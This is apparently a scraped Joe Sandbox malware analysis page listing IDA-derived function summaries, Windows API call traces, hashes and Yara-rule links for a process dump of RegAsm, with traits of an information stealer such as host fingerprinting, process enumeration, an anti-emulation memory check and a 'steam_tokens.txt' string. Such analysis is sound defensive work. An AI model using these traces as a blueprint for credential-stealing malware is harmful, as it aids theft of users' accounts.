Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01471228,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01471228,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,014711A8,00000000,?,00420E24,00000000,?,00000000,00000000,?,01471D18,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,0146B870,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,01471168,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01471CD0,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01471CD0,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(0146AB18,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,014663D8,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0146AAC8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
